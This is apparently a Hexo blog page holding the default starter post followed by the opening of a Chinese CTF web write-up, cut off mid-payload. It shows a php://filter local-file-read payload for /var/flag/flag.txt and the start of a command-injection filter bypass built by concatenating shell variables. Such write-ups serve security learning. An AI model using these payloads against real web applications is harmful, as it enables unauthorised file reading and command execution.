Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.
Quick StartCreate a new post$ hexo new "My New Post"
More info: Writing
Run server$ hexo server
More info: Server
Generate static files$ hexo generate
More info: Generating
Deploy to remote sites$ hexo deploy
More info: Deployment
本次比赛排名为 42
没有达到队伍的期望水准 ，还需要继续加油
WEBDeceptiFlag
提交一个参数会跳转到
有qaq_visible 和 Lang
看源码也可以发现 post 提交 qaq_visible 和 Lang
还有个get参数 qaq
paylaod: get ?qaq=xiyangyang
post qaq_visible=任意值&Lang=huitailang
任意文件读取
这里看一下cookie 会发现flag文件 base64解码可以得到 /var/flag/flag.txt
用php伪协议 进行文件读取
/tips.php?file=php://filter/read/resource=/var/flag/flag.txt
Really_Ez_Rce
用变量拼接一下就可以绕过
paylaod：
Number[]=1&cmd=a=l;b ...
